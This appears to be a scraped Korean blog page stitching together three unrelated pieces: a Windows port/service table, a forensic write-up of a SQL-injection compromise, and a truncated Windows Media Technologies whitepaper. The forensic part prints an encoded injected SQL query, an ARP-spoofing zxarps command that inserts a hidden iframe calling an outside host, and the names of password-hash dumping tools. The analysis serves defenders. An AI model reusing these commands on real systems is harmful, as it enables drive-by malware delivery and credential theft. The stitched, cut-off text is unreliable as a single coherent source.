    135 TCP RPC Message Queuing msmq
    135 TCP RPC Remote Procedure Call RpcSs
    135 TCP RPC Exchange Server  
    137 TCP NetBIOS Name Resolution Computer Browser Browser
    137 UDP NetBIOS Name Resolution Computer Browser Browser
    137 TCP NetBIOS Name Resolution Server lanmanserver
    137 UDP NetBIOS Name Resolution Server lanmanserver
    137 TCP NetBIOS Name Resolution Windows Internet Name Service WINS
    137 UDP NetBIOS Name Resolution Windows Internet Name Service WINS
    137 TCP NetBIOS Name Resolution Net Logon Netlogon
    137 UDP NetBIOS Name Resolution Net Logon Netlogon
    137 TCP NetBIOS Name Resolution Systems Management Server 2.0  
    137 UDP NetBIOS Name Resolution Systems Management Server 2.0  
    138 UDP NetBIOS Datagram Service Computer Browser Browser
    138 UDP NetBIOS Datagram Service Messenger Messenger
    138 UDP NetBIOS Datagram Service Server lanmanserver
    138 UDP NetBIOS Datagram Service Net Logon Netlogon
    138 UDP NetBIOS Datagram Service Distributed File System Dfs
    138 UDP NetBIOS Datagram Service Systems Management Server 2.0  
    138 UDP NetBIOS Datagram Service License Logging Service LicenseService
    139 TCP NetBIOS Session Service Computer Browser Browser
    139 TCP NetBIOS Session Service Fax Service Fax
    139 TCP NetBIOS Session Service Performance Logs and Alerts SysmonLog
    139 TCP NetBIOS Session Service Print Spooler Spooler
    139 TCP NetBIOS Session Service Server lanmanserver
    139 TCP NetBIOS Session Service Net Logon Netlogon
    139 TCP NetBIOS Session Service Remote Procedure Call Locator RpcLocator
    139 TCP NetBIOS Session Service Distributed File System Dfs
    139 TCP NetBIOS Session Service Systems Management Server 2.0  
    139 TCP NetBIOS Session Service License Logging Service LicenseService
    143 TCP IMAP Exchange Server  
    161 UDP SNMP SNMP Service SNMP
    162 UDP SNMP Traps Outbound SNMP Trap Service SNMPTRAP
    270 TCP MOM 2004 Microsoft Operations Manager 2004 MOM
    389 TCP LDAP Server Local Security Authority LSASS
    389 UDP LDAP Server Local Security Authority LSASS
    389 TCP LDAP Server Distributed File System Dfs
    389 UDP LDAP Server Distributed File System Dfs
    443 TCP HTTPS HTTP SSL HTTPFilter
    443 TCP HTTPS World Wide Web Publishing Service W3SVC
    443 TCP HTTPS SharePoint Portal Server  
    445 TCP SMB Fax Service Fax
    445 UDP SMB Fax Service Fax
    445 TCP SMB License Logging Service LicenseService
    445 UDP SMB License Logging Service LicenseService
    445 TCP SMB Print Spooler Spooler
    445 UDP SMB Print Spooler Spooler
    445 TCP SMB Server lanmanserver
    445 UDP SMB Server lanmanserver
    445 TCP SMB Remote Procedure Call Locator RpcLocator
    445 UDP SMB Remote Procedure Call Locator RpcLocator
    445 TCP SMB Distributed File System Dfs
    445 UDP SMB Distributed File System Dfs
    445 TCP SMB Net Logon Dfs
    445 UDP SMB Net Logon Dfs
    500 UDP IPSec ISAKMP IPSec Services PolicyAgent
    515 TCP LPD TCP/IP Print Server LPDSVC
    548 TCP File Server for Macintosh File Server for Macintosh MacFile
    554 TCP RTSP Windows Media Services WMServer
    563 TCP NNTP over SSL Network News Transfer Protocol NntpSvc
    593 TCP RPC over HTTP Remote Procedure Call RpcSs
    593 TCP RPC over HTTP Exchange Server  
    636 TCP LDAP SSL Local Security Authority LSASS
    636 UDP LDAP SSL Local Security Authority LSASS
    993 TCP IMAP over SSL Exchange Server  
    995 TCP POP3 over SSL Exchange Server  
    1270 TCP MOM-Encrypted Microsoft Operations Manager 2000 one point
    1433 TCP SQL over TCP Microsoft SQL Server SQLSERVR
    1433 TCP SQL over TCP MSSQL$UDDI SQLSERVR
    1434 UDP SQL Probe Microsoft SQL Server SQLSERVR
    1434 UDP SQL Probe MSSQL$UDDI SQLSERVR
    1645 UDP Legacy RADIUS Internet Authentication Service IAS
    1646 UDP Legacy RADIUS Internet Authentication Service IAS
    1701 UDP L2TP Routing and Remote Access RemoteAccess
    1723 TCP PPTP Routing and Remote Access RemoteAccess

    2011/01/27 01:08 2011/01/27 01:08
    SQL Injection 해킹 관련 자료, zxarps.exe Cain & Abel 등


     다음 관련 데이터 및 로그는 실제 Sql Injection 해킹된 서버에서, 해당 서브넷에서 Arp Spoofing 시도를 위한 일부 입니다. 이와 관련된 해킹 방어 대책은 인터넷에 수없이 공개되어 있으므로 참고만...^^

    DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
    http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=388

    공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
    http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=312

    해킹, 악성코드등 보안 점검 자료 및 정보
    http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=310

    Sql Injection 침해 흔적을 통한 보안점검
    http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=281


    권한이 높은 DB 계정을 이용하는  웹사이트의 코드 허술함을 이용하는 Sql Injection 기법에 의해서, 해당 SQL Server 에 DTS 패키지가 등록되어 있는 상태



    DTS패키지는, 데이터 원본(ODBC) 에 등록된 해당 프로바이더 연결을 이용하여 쿼리 데이터를 텍스트 파일 형식의 .asp 파일로 저장.

    보통 주로 C:\ 루트나, 해당 웹사이트 루트 또는 특정 폴더 생성이나 이미 있는 폴더내에 생성하는 경우가 많으며 확장자는 주로 1.asp, 2.asp, 111.asp 등의 파일명 패턴을 가지고 있음.

    'xpsqlbot.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_qv'을(를) 실행합니다.
    'xpstar.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_ntsec_enumdomains'을(를) 실행합니다.
    'xplog70.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_msver'을(를) 실행합니다.


    이벤트 형식: 정보
    이벤트 원본: MSSQLSERVER
    이벤트 범주: (2)
    이벤트 ID: 17055
    설명:
    8128 :
    'odsole70.dll' 버전 '2000.80.2187'을(를) 사용하여 확장 저장 프로시저 'sp_OACreate'을(를) 실행합니다.


    특정 OLE 개체의 인스턴트를 만들기 위해서 'sp_OACreate' 확장 저장프로시져를 호출

    이벤트 형식: 오류
    이벤트 원본: MSSQLSERVER
    이벤트 범주: (6)
    이벤트 ID: 17055
    설명:
    3041 :
    BACKUP이 실패하여 'Select Count(*),CEILING(CAST(Count(*) AS FLOAT)/16) FROM xxx.xxxx A inner join xxxx.xxxx B on A.no = B.no Where B.Pt is not null And B.Category = '24';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C0057005700
    57005F0052004F004F0054005C007300730068006F00770071007500650065006E0
    02E0063006F006D005C0031003200330
    02E00610073007' 명령이 완료됩니다.



    zxarps.exe -idx 0 -ip 120.xxx.xxx.xxx,120.xxx.xxx.xxx -port 80 -insert "<iframe src=http://mail.xxxxx.co.kr/help/i.htm width=0 height=0 ></iframe>"
    1.bat
    addins.zip
    cmd.bat
    WinPcap_4_1_beta.exe
    zxarps.exe


    해당 서버에는 Arp Spoofing 을 위해서 관련 툴을 다운로드. zxarps 툴은 해당 서브넷의 게이트웨이를 점유해서 서브넷내의 웹서버에서 클라이언트로 다운로드 되는 웹페이지 상단에 iframe 을 삽입함. 이전의 해당 웹서버의 index.asp 파일등을 변조하는 것보다 훨씬더 효과가 큼.

    \system32
    packet.dll
    wanpacket.dll
    wpcap.dll

    \1025\sam\gethashes.exe
    \1025\sam\getsyskey.exe
    \1025\sam\saminside.exe

    \sql server\mssql\bin
    xp_nped.dll


    시스템 폴더 및 SQL Server 폴더에 추가적인 해킹 및 Arp Spoofing 툴이 설치되는데, 중국어권 에서는 Arp Spoofing 툴로 매우 유명한 zxarps.exe 툴이 설치되어 있으며 해당 폴더에는 윈도우계정 생성 및 Arp Spoofing 를 위한 패킷 드라이버인 WinCap 이 설치됨.

    C:\WINDOWS\system32\1025\Cain 디렉터리

    2007-12-09  오전 12:07    <DIR>          .
    2007-12-09  오전 12:07    <DIR>          ..
    2007-12-09  오전 12:03                 0 80211.LST
    2007-10-09  오후 06:06            30,720 Abel.dll
    2007-10-09  오후 06:14                66 Abel.dll.sig
    2007-10-09  오후 06:13            27,648 Abel.exe
    2007-10-09  오후 06:14                66 Abel.exe.sig
    2007-10-09  오후 06:13           989,184 Cain.exe
    2007-10-09  오후 06:14                66 Cain.exe.sig ......


    주로 시스템의 계정 해킹에 이용되는 툴중에 매우 공개된 강력한 툴인 Cain & Abel 이 추가적으로 설치됨. 웹사이트: http://www.oxid.it

    [서비스]에는 Remote Packetk 이 설치됨.
    실행파일은 C:\WINDOWS\system32\Seveer.exe
    C:\Documents and Settings\field\바탕 화면\xc02.exe


    Remote Packetk 에 관련된 자료가 거의 없어서 정확이 어떤 역할을 하기 위해서 설치를 한것 인지는 모르겠으나, 원격 명령 또는 관리를 위해서 설치한 툴로 추정됨.

    [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]
    "F"=hex:02,00,01,00,00,00,00,00,82,43,b8,5d,03,39,c8,01,00,00,00,00,00,00,00,\
      00,06,95,e2,6f,66,a6,c7,01,00,00,00,00,00,00,00,00,7a,b5,49,46,9c,39,c8,01,\
      f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,69,00,01,00,00,00,00,\
      00,00,00,00,00,00,00 ........


    윈도우 계정 생성을 위한 레지스트리 등록하며, 계정명은 주로 Field 임.
    2011/01/27 01:08 2011/01/27 01:08
    출처:
    =================================================
    Windows Media Technologies에 대한 유용한 정보
    차례
    down 소개
    down Microsoft Media 서비스 프로토콜
    down Windows Media 인코더
    down 인코딩 기술
    down Windows Media Server
    down 서버 보안 문제
    down 로깅 및 서버 성능 정보
    down Windows Media 성능 도구
    down Windows Media Load Simulator
    down 멀티캐스팅
    down 로드 균형 조정
    down WIndows Media Player HTTP 오류 메시지
    down 추가 정보
    운영 체제
    백서
    요약
    이 백서에서는 Microsoft Windows Media Technologies 구현을 위한 유용한 정보를 설명합니다. 프로토콜, 인코더 구성과 기술, 서버 구성과 조정, 멀티캐스트 배포 사용 및 로깅을 설명합니다.
    소개 Back to Top

    Microsoft Windows Media Technologies는 Windows 2000 운영 체제의 일부로서 배포됩니다. 이로서 스트리밍 미디어 파일을 작성, 배포 및 재생할 수 있습니다. IT 전문가의 경우 Windows 2000 Professional과 Windows 2000 Server를 모두 최적의 성능으로 구성하는 방법과 네트워크를 통해 파일을 배포하는 방법을 이해해야 합니다.
    그림 1은 스트리밍 미디어 전송에 사용되는 구성 요소를 나타낸 것입니다.
    그림 1 Windows Media Technologies 전송 구성 요소
    이 백서는 네트워크를 통한 스트리밍 미디어의 인코딩, 서비스 제공 및 전송에 대한 구성 요소를 설명하며 다음과 같은 내용을 다룹니다. 다음과 같은 정보가 포함되어 있습니다.
    • Microsoft Media Server(MMS) 프로토콜
    • 인코더 구성 및 사용
    • 서버 구성 및 조정
    • 로깅, 인증 및 로드 균형 조정
    • 멀티캐스트 사용 및 문제 해결
    • Windows Media Player 오류 코드
    이 백서에서는 독자가 기본적으로 WMT와 네트워킹 프로토콜을 알고 있다고 가정합니다.
    Microsoft Media 서비스 프로토콜 Back to Top

    >
    Windows Media Technologies는 Windows Media Server(MMS)라고 하는 응용 프로그램 수준의 프로토콜을 사용하여 인터넷과 인트라넷을 통해 ASF(Active Streaming Format) 파일을 전송합니다. 스트리밍 ASF 파일을 가리키는 URL에는 다음 예에서 볼 수 있는 것처럼 프로토콜로 사용하는 MMS가 포함됩니다.
    mms://servername/filename.asf
    MMS 프로토콜은 자동으로 다음과 같은 순서로 스트리밍 미디어를 위한 최적의 전송을 찾습니다.
    • UDP(사용자 데이터그램 프로토콜)
    • TCP(전송 제어 프로토콜)
    • HTTP(하이퍼텍스트 전송 프로토콜)
    UDP 프로토콜은 배달을 보장하지 않기 때문에 실시간 미디어에 이상적인, 연결 없는 전송 계층 프로토콜입니다. 이 표현이 장점이라기보다는 단점으로 들릴지 모르지만 스트리밍 미디어에는 특히 적합한 특성입니다. 전송 시간에 관계 없이 전체 내용이 배달되어야 하는 파일이나 전자 메일과 같은 데이터와 달리 스트리밍 미디어 데이터의 값은 시간의 제약을 받습니다. 비디오 프레임이 손실되면 정확한 시간 프레임 내에 도달하지 않으므로 쓸모가 없는 데이터가 됩니다. 이 데이터를 다시 전송한다는 것은 대역폭을 낭비하는 것입니다. 전송 프로토콜로 UDP만 사용하도록 지정할 수 있습니다. 이렇게 하려면 다음과 같은 구문을 사용하십시오.
    mmsu://servername/filename.asf
    UDP의 단점은 회사 방화벽을 통과하지 못할 수 있다는 것입니다. UDP를 통해 스트리밍 ASF 파일을 받아 들이도록 방화벽을 구성하는 방법에 대한 자세한 내용은 다음을 참조하십시오.
    MS DTC 방화벽 문제 해결
    다음 선택인 TCP는 가장 많이 사용되는 인터넷 전송 프로토콜입니다. 데이터를 다시 전송하려 한다는 것과 이 프로토콜 역시 회사의 방화벽을 통과하지 못할 수 있다는 것이 TCP의 단점입니다. TCP와 방화벽에 대한 자세한 내용은 앞에서 설명한 기사를 참조하십시오. 전송 프로토콜로 TCP만 사용하도록 지정하는 구문은 mmst://servername/filename.asf입니다.
    마지막 선택은 HTTP입니다. HTTP는 스트리밍 미디어를 위해 고안된 것이 아니며 전송 프로토콜이 아닌 응용 프로그램 계층 프로토콜이지만 방화벽을 통과할 수 있습니다. 웹을 탐색할 수 있는 모든 사람이 HTTP를 통해 스트리밍 파일을 받을 수 있습니다. HTTP만 사용하도록 지정하는 구문은 http://servername/filename.asf입니다.

    ASX 파일 사용

    ASX 파일은 웹 페이지를 ASF 파일에 연결합니다. 웹 사이트에 액세스하는 모든 클라이언트가 Microsoft Internet Explorer를 실행하는 경우가 아니라면 HTML 페이지에서 직접 MMS 경로를 참조해서는 안됩니다. 다른 브라우저는 프로토콜을 이해하지 못하며 프로토콜이 발생해도 무시하기 때문입니다. 대신 스트리밍 미디어 파일을 가리키는 ASX 파일을 참조합니다.
    다음은 간단한 ASX 파일의 예입니다.
    <ASX version="3.0" >
    <Entry >
    <ref HREF=" mms://servernane/filename.asf "/>
    </Entry >
    </ASX >
    ASX 파일을 만든 다음 HTTP나 네트워크 서버에서 호스팅합니다. ASX 파일을 연결하려면 다음과 같이 HTML 페이지에서 표준 <A HREF> 태그를 사용합니다.
    <a href="http://servername/path/asxname.asx">설명</a>
    사용자가 ASX 파일에 대한 링크를 선택하면 브라우저에서 ASX 파일을 다운로드합니다. ASX 파일은 작습니다. 시스템은 파일 연결 테이블에서 ASX 확장명을 찾아 Windows Media Player를 시작합니다. 그 다음 Windows Media Player는 ASX 파일에서 ASF 파일의 위치를 찾은 다음 스트림을 시작합니다. ASX 파일 작성에 대한 자세한 내용은 MSDN Online Web Workshop 의 설명서를 참조하십시오.
    Windows Media 인코더 Back to Top

    Windows Media 인코더는 AVI, MP3 또는 WAV 형식일 수 있는 디지털 형식의 미디어 파일을 압축하여 Windows Media Player가 사용하는 ASF 형식으로 변환합니다. 인코더는 실시간 이벤트나 저장된 파일에 사용할 수 있습니다. 인코딩은 CPU를 많이 사용하는 작동이므로 Windows Media 서비스를 실행하는 컴퓨터가 아닌 별도의 컴퓨터에서 인코더를 사용하는 것이 좋습니다. 이 절에서는 인코더 사용과 관련된 다음과 같은 문제를 설명합니다.
    • 컴퓨터 하드웨어 구성
    • 다중 스트림 인코딩
    • 자동 인코딩

    컴퓨터 하드웨어 구성

    모든 상황에 적합한 단일 구성은 없습니다. 새 하드웨어를 구입하기 전에 고속 동작 비디오를 녹화할 것인지 또는 저속 동작 비디오를 녹화할 것인지 결정해야 합니다. 저속 동작의 예는 대화 중인 얼굴을 들 수 있습니다. 이 경우에는 처리 능력이 그렇게 많이 필요하지 않습니다. 고속 동작의 예는 뮤직 비디오와 같이 빠른 내용 변경이 많은 비디오를 들 수 있습니다. 이 경우에는 더 많은 처리 능력이 필요합니다.

    CPU 선택

    일반적으로 하나의 Pentium II 프로세서가 모든 비디오를 최대 300Kpbs(경우에 따라 500Kbps)의 대역폭으로 실시간 인코딩을 수행할 수 있습니다. 최대 1Mbps의 대역폭에는 Pentium III나 동급의 프로세서를 사용해야 합니다. 더 높은 비트 속도가 필요한 경우(Microsoft CODEC은 실시간 인코딩을 최대 5Mbps까지 확장 가능)에는 프로세서를 하나 더 사용합니다. 일반적으로 새 장치를 구입한다면 Pentium III나 동급의 프로세서가 장착된 컴퓨터를 구입하도록 하십시오. 현재 그러한 처리 능력이 필요하지 않아도 앞으로 필요하게 될 것입니다.

    메모리 추가

    보통 인코딩에는 64MB의 메모리가 최적의 용량입니다. 버퍼링이 발생하지 않으며 운영 체제와 응용 프로그램만 로딩하면 되므로 대용량 메모리는 필요하지 않습니다. 성능 도구를 사용하여 시스템이 디스크 페이징을 사용하지 않게 하십시오. 페이징을 사용하면 성능에 나쁜 영향을 미치게 됩니다. 성능 도구에 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 성능을 누릅니다.
    사용 가능한 메모리를 확인하려면 MemoryAvailable Bytes 카운터를 추가합니다. 발생하는 페이징 양을 확인하려면 MemoryPages/sec 카운터를 추가합니다. 두 카운터 모두 Memory 머리글 아래에 있습니다. 그림 2는 카운터 추가의 예를 나타낸 것입니다.
    wmtbes02
    그림 2 Pages/sec 카운터 추가
    그림 3은 이들 카운터와 함께 사용 중인 프로세서 시간 양을 나타낸 것입니다.
    그림 3 성능 모니터의 예
    MemoryAvailable Bytes 카운터는 현재 프로세서가 사용할 수 있는 메모리의 양을 바이트 단위로 나타냅니다. 이 숫자는 항상 4MB 이상이어야 합니다. MemoryPages/sec 카운터는 페이지 오류 때문에 디스크에서 검색되거나 공간을 늘리기 위해 디스크로 쓴 페이지 수를 나타냅니다. 성능 도구에 대한 자세한 내용은 해당 도움말 파일을 참조하십시오.

    디스크 드라이브 추가

    디스크 드라이브는 데이터가 들어오는 즉시 캡처하고 저장해야 하기 때문에 병목 지점이 될 수 있습니다. 드라이브의 데이터 전송 속도가 너무 느리면 데이터가 손실되고 스트림의 품질이 떨어질 수 있습니다. 300Kbps에서 500Kbps까지의 인코딩 속도에는 SCSI 드라이브를 사용하십시오. 이보다 빠른 속도에 대해서는 RAID 레벨 0 디스크 배열을 고려하십시오.

    운영 체제 선택

    Windows Media 인코더는 Windows 2000 Professional과 Windows 2000 Server에서 모두 실행할 수 있지만 포그라운드 응용 프로그램에 우선 순위가 부여되는 Professional을 사용하는 것이 좋습니다.

    비디오 캡처 카드 선택

    Windows Media Technologies와 호환되는 비디오 캡처 카드의 목록을 보려면 다음 주소에서 "Windows Media Hardware Providers" 웹 페이지를 참조하십시오.
    http://www.microsoft.com/Korea/windows/windowsmedia/serve/encoding.asp
    비디오 카드 중 일부만 두 운영 체제와 모두 호환되기 때문에 Windows 2000 운영 체제와 호환되는 카드 목록 대신 이 목록을 사용해야 합니다. 가장 많이 사용되는 비디오 캡처 카드는 Viewcast.com의 Osprey 100입니다. 이 카드는 오디오는 캡처하지 않지만 Osprey 100와 사운드 카드의 동기화에 있어 어떤 문제도 보고되지 않았습니다. 자세한 내용은 다음 웹 사이트를 참조하십시오.
    http://www.vccsales.com/

    사운드 카드 선택

    단일 오디오 스트림을 인코딩할 경우, Soundblaster Live와 같은 스테레오 사운드 카드를 선택합니다. 최소한 Soundblaster16이나 호환 카드를 사용해야 합니다. Windows 2000 운영 체제용으로 승인된 사운드 카드를 알고 싶으면 Windows 하드웨어 호환성 목록을 참조하십시오. Windows 2000과 호환되는 모든 사운드 카드는 Windows Media Technologies와 호환됩니다. 하드웨어 목록은 다음 웹 페이지를 참조하십시오.
    http://www.microsoft.com/hcl/default.asp
    인코딩 기술 Back to Top

    이 절에서는 오디오와 비디오 인코딩 및 자동 인코딩 설정을 위한 기술을 설명합니다. 명백하게 알 수 있는 차이점 이외에 오디오와 비디오 인코딩 사이의 한 가지 차이점은 비디오 파일이 오디오 파일은 포함할 수 없는 다중 비트 전송률을 포함할 수 있다는 것입니다. 다중 비트 전송률을 사용하면 Windows Media Player가 사용자 네트워크 연결의 품질과 속도에 가장 적합한 비트 전송률을 선택하여 변화하는 네트워크 조건에 적응할 수 있습니다. 귀는 눈보다 훨씬 인식력이 높으며 눈이 비디오 스트림 대역폭 변화를 알아보는 것보다 귀가 오디오 스트림에 대한 변화를 쉽게 느낄 수 있으므로 이러한 것은 오디오 파일에서는 수행할 수 없습니다.

    다중 오디오 스트림 인코딩

    여러 오디오 스트림을 동시에 인코딩하는 것은 일반적인 상황입니다. 대표적인 예는 온라인으로 방송하는 여러 라디오 방송을 인코딩하는 것입니다. 다중 오디오 스트림을 인코딩하려면 단일 시스템에서 동시에 여러 인코더를 사용하고 실행합니다. 인코더는 CPU를 많이 사용하기 때문에 가능하다면 Pentium III를 사용하십시오.
    다중 오디오 스트림을 인코딩하기 위해 또 다른 중요한 고려 사항은 사운드 카드입니다. 단일 시스템에서 다수의 Soundblaster 카드를 사용할 때 문제를 경험한 고객이 많이 있습니다. 대신 슬롯은 하나지만 포트가 여러 개 있는 사운드 카드를 설치합니다.

    다중 대역폭 비디오 스트림 인코딩

    Windows Media Technologies에는 네트워크 연결 속도를 검색하고 변화하는 네트워크 조건을 조정하며 자동으로 진행 중인 비디오 스트림 품질을 개선할 수 있는 지능적 스트리밍 기능이 있습니다. 현재의 Windows Media Technologies 버전 4.0에서 지능적 스트리밍은 다음과 같은 기능을 포함합니다.
    • 다중 데이터 속도 인코딩: 컨텐트 공급자는 16Kbps에서 1Mbps에 이르는 범위에서 최대 6개의 비디오 대역을 단일 파일로 제공할 수 있습니다. 다중 비트 전송률 인코딩을 사용하면 최종 사용자가 단일 링크를 누를 때 사용자의 네트워크 연결에 따른 최대 비트 전송률이 자동으로 선택될 수 있습니다.
    • 지능적인 전송: 그 동안 네트워크의 정체에 따라 클라이언트는 전송을 계속하려면 재생을 중지하고 다시 버퍼링해야 했습니다. 이제 Windows Media Technologies 4.0이 등장함에 따라 클라이언트와 서버는 지능적으로 음질을 떨어뜨려 연속적인 재생을 계속할 수 있습니다. 먼저 서버는 음질을 유지하고 버퍼링을 최소화하기 위해 비디오 프레임 속도를 줄입니다. 조건이 더 악화되면 서버는 비디오 프레임 전송을 완전히 중지하지만 음질은 그대로 유지합니다. 마지막으로 음질이 떨어지기 시작하면 음질을 보존하기 위해 클라이언트가 지능적으로 스트림 부분을 다시 구성합니다. 이 기술을 스트림 조정이라고 합니다.
    • 비디오 재생 향상 필터: Windows Media Player는 비디오 스트림을 받으면 지능적인 필터링을 사용하여 잡신호를 제거하고 특히 낮은 대역폭에서 전체적인 비디오 품질을 상당히 개선합니다.

    자동 인코딩

    자동 인코딩은 시스템이 부팅되고 사용자가 로그온하면 자동으로 인코더가 시작하는 것을 의미합니다. 프로덕션 서비스가 온라인이고 지속적으로 실행되는 경우에 자주 사용됩니다. 자동 인코딩을 사용하려면 작업 표시줄 및 시작 메뉴 등록 정보 창을 사용하여 바로 가기를 만듭니다. 이 창을 열려면 시작 메뉴에서 설정을 가리키고 작업 표시줄 및 시작 메뉴를 누릅니다. 그림 4는 이 메뉴의 예를 나타낸 것입니다.
    그림 4 작업 표시줄 및 시작 메뉴 등록 정보 창
    추가를 누르고 바로 가기 만들기 텍스트 상자에 다음과 같이 입력합니다.
    NsRex filename.asd /start
    인코더 이름은 NsRex이며 filename은 인코더 구성을 저장하는 ASD(Advanced Stream Descriptor) 파일을 의미합니다. 여기에는 사용할 CODEC, 창의 크기, 비디오에 대한 프레임 속도와 I 프레임 수 등에 대한 정보가 포함됩니다. /start 옵션은 사용자가 로그온하면 인코딩이 시작된다는 것을 의미합니다. 이 프로세스를 완전히 자동화하려면 자동 로그온을 사용하여 이름이나 암호를 입력하지 않아도 되도록 만듭니다. 그림 5는 예를 나타낸 것입니다.
    그림 5 프로그램을 위한 타이틀 선택
    이 예제에서 인코더는 stereo28.8이라는 이름의 .asd 파일을 사용합니다.
    Windows Media Server Back to Top

    이 절에서는 Windows Media 서비스를 실행하도록 컴퓨터를 구성하는 방법, 가장 뛰어난 성능을 활용할 수 있도록 서버를 조정하는 방법 그리고 서버의 보안을 유지하는 방법에 대해 설명합니다. 먼저 서버의 하드웨어 구성에 대해 설명합니다.

    컴퓨터 하드웨어 구성

    CPU를 많이 사용하는 인코더와는 달리 서버는 I/O를 많이 사용합니다. 서버의 병목 지점은 네트워크 인터페이스 카드(NIC), 디스크 시스템의 순서로 발생합니다. CPU와 메모리는 3번째와 4번째의 병목 지점이지만 발생하는 경우는 거의 없습니다. 이 절에서는 Windows Media Server를 위한 최적의 하드웨어 구성에 대해 설명합니다.

    CPU와 메모리 선택

    수천 개의 동시 연결을 처리하는 일반적인 Windows Media Server의 경우, Intel Pentium II 또는 동급의 프로세서를 사용하십시오. 서버가 2,000개 또는 3,000개의 동시 연결을 처리하지 않는 한 다중 프로세서는 필요하지 않습니다. 여기에서 각 연결은 20Kbps입니다. 비트 전송률이 높아지면 서버가 처리할 수 있는 동시 연결의 수가 적어집니다. 최대의 동시 연결을 처리하려면 다중 프로세서를 사용하십시오. 단일 프로세서 시스템의 경우, 256MB 메모리가 최적입니다. 다중 프로세서 시스템의 경우, 적어도 512MB를 사용합니다. 서버의 구성과 서버의 수요에 따라 메모리가 더 필요할 수 있습니다. 스트레스 상태의 서버 작동에 대해 알고 싶다면 이 백서의 뒷부분에서 설명하는 Windows Media Load Simulator를 사용합니다.

    네트워크 인터페이스 카드 선택

    라이브 이벤트의 경우, 인코더와 서버 간을 고속으로 연결하는 것이 특히 중요합니다. 이 연결이 마스터 공급입니다. 충분한 대역폭을 사용할 수 없다면 마스터 신호의 품질이 떨어지고 그 결과 사용자는 낮은 품질을 전송 받게 될 것입니다. 네트워크 인터페이스 카드(NIC)의 경우, 고속 이더넷(100Mbps) 또는 10/100 교환 이더넷을 사용합니다. 교환 이더넷은 패킷을 10Mbps 공유 세그먼트에서 100Mbps로 실행되는 워크스테이션 또는 LAN 세그먼트로 전송합니다. 따라서 10Mbps에서 실행되는 다중 종단 스테이션이나 작업 그룹을 100Mbps에서 실행되는 서버에 연결할 수 있습니다.
    T3 회선 용량 두 개를 모두 사용하는 4,000개의 동시 연결을 처리하려면 NIC를 하나 더 추가하여 인코더와 서버 사이에 별도의 연결을 만드는 것을 고려하십시오. 네트워크 연결이 모두 포화 상태인 경우에도 마스터 공급은 영향을 받지 않으며 성능이 저하되지 않습니다. 네트워크 카드는 데이터를 동시에 전송하고 수신할 수 있는 전이중으로 구성되어야 합니다.

    디스크 드라이브 선택

    서버 성능이 좋으려면 빠른 디스크 드라이브가 필수적입니다. Windows Media Server의 확장성이 디스크 배열의 성능에 의해 제한되는 경우가 많습니다. 동시 연결의 수가 많은 경우에는 RAID 구성의 다중 하드 디스크를 사용하는 것이 좋습니다. 고속 데이터 전송 속도 때문에 SCSI, 파이버 채널(아래 내용 참조)과 같은 인터페이스를 고려해야 하지만 가장 적합한 구성을 결정하려면 선호하는 하드웨어 공급업체와 협의하십시오.
    더 많은 파일이 사용되거나 사용할 수 있는 캐시가 적어지면(또는 두 경우 모두) 디스크 속도 요구 사항도 증가합니다. Windows Media Server는 캐싱을 사용하지 않는다는 것에 주의하십시오. 따라서 디스크 컨트롤러 자체에 캐싱이 있지 않는 한 데이터를 요구하는 각 읽기는 명시적으로 실제 디스크에서 데이터를 가져옵니다.
    ASF 루트 디렉터리를 시스템 드라이브에 저장해서는 안됩니다. 그렇게 하면 시스템 드라이브에서 집중적인 작업과 디스크 스와핑이 발생할 수 있습니다. 또한 사용자가 여러 다른 경로를 통해 연결할 수 있도록 대단히 많이 사용되는 컨텐츠는 복제하여 여러 드라이브에 저장합니다. 경험에 의하면 하나의 디스크로 약 500개의 28.8Kbps 연결을 지원할 수 있습니다.
    서버를 구성하였으면 성능 모니터와 함께 Windows Media Load Simulator를 사용하여 메모리 페이징과 프로세서 시간 등의 병목 상태를 검색할 수 있습니다. 서버가 로드를 처리하지 못할 경우, 하드웨어를 추가하거나 서버를 하나 더 추가합니다.

    저장소 영역 네트워크

    고속 출력과 확장성이 중요한 대형 사이트를 관리하는 IT 관리자의 경우, 저장소 영역 네트워크(SAN)를 고려할 수도 있습니다. SAN은 저장소 전용 네트워크입니다. SAN은 RAID 디스크 배열, 디스크 드라이브 및 테이프 드라이브와 같은 저장 장치와 서버를 고속으로 상호 연결합니다. SAN은 높은 대역폭을 제공하는 것 이외에도 모든 저장 I/O를 네트워크의 별도 구역으로 격리하여 다른 네트워크 소통량이 I/O의 영향을 받지 않게 합니다.
    SAN의 기본 네트워크 인프라를 Fibre Channel Arbitrated Loop(FC-AL)라고 합니다. 이 인프라는 양방향 지점간 직렬 데이터 채널을 위해 고안된 산업 표준 고속 인터페이스입니다. 이것은 100MB/s 이상의 속도로 최대 10km의 거리까지 시스템을 연결할 수 있습니다.
    파이버 채널은 다중 프로토콜을 지원하여 동일한 케이블을 통해 TCP/IP 및 SCSI와 같은 프로토콜을 동시에 실행할 수 있습니다. 하나의 루프에 최대 126개의 노드를 연결할 수 있습니다. FC-AL 인터페이스를 지원하는 하드 드라이브의 예로는 Seagate의 Barracuda 및 Cheetah 드라이브가 있습니다. 이들 드라이브에 대한 자세한 내용은 아래의 웹 사이트를 참조하십시오.
    http://www.seagate.com 

    서버 조정 성능

    서버의 성능을 개선할 수 있는 작업에는 다음과 같은 다양한 작업이 포함됩니다.
    • 관련 없는 서비스 사용 안함
    • 메모리 최소화
    • 레지스트리 키 설정
    • 최신 NIC 드라이버 사용

    관련 없는 서비스 사용 안함

